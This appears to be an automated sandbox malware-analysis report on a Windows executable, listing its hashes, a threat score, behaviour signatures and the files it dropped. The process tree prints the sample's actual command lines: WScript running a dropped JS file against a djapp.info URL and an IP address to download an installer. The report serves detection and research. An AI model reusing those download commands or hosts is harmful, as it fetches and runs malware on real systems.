Analysis

  • max time kernel
    261s
  • max time network
    349s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    28/11/2022, 07:01

General

  • Target

    acf390f0aaba77cc9e7f143a83ef2e7de6db98c917e9de80ea9d7d2a2fb70349.exe

  • Size

    184KB

  • MD5

    7f5711e7b81ee04254923efae6cded31

  • SHA1

    b19c2dddec5341906dcf5dc2e63bbf20d2a2bca7

  • SHA256

    acf390f0aaba77cc9e7f143a83ef2e7de6db98c917e9de80ea9d7d2a2fb70349

  • SHA512

    f204c29fcc3df68dfaa6700da5656c6e55e6c3e962e4708d69e645f15f86c7a01e0fec9dd34acb6665069b7ee04bd8ff2893c544f1d1f9875eb43a8b47850f2f

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3/:/7BSH8zUB+nGESaaRvoB7FJNndnm

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 15 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\acf390f0aaba77cc9e7f143a83ef2e7de6db98c917e9de80ea9d7d2a2fb70349.exe
    "C:\Users\Admin\AppData\Local\Temp\acf390f0aaba77cc9e7f143a83ef2e7de6db98c917e9de80ea9d7d2a2fb70349.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:876
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1739.js" http://www.djapp.info/?domain=DBTxfZTyRl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf1739.exe
      2⤵
      • Blocklisted process makes network request
      PID:1364
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1739.js" http://www.djapp.info/?domain=DBTxfZTyRl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf1739.exe
      2⤵
      • Blocklisted process makes network request
      PID:1072
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1739.js" http://www.djapp.info/?domain=DBTxfZTyRl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf1739.exe
      2⤵
      • Blocklisted process makes network request
      PID:980
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1739.js" http://www.djapp.info/?domain=DBTxfZTyRl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf1739.exe
      2⤵
      • Blocklisted process makes network request
      PID:1516

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf1739.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\RX0FNEJ4.txt

    Filesize

    100B

    MD5

    9e55e700c86f91e8b94f4d71560b139e

    SHA1

    a28b5670199ddc321a97db07a75bc61289e35f05

    SHA256

    70bf4b7cfba17f6ac5d2df2179a2cee1f78521e18bce4996f30dc85a177ebb89

    SHA512

    e395b869b1293236ffc9ccba89e255f2a2d0bca019d37134a253b4168a55cb2fdeb0c4369bae95c7e584c641bd4e3a1bd1e8c960973a8d3c02d5345b4ac8d19a

  • memory/876-54-0x0000000076771000-0x0000000076773000-memory.dmp

    Filesize

    8KB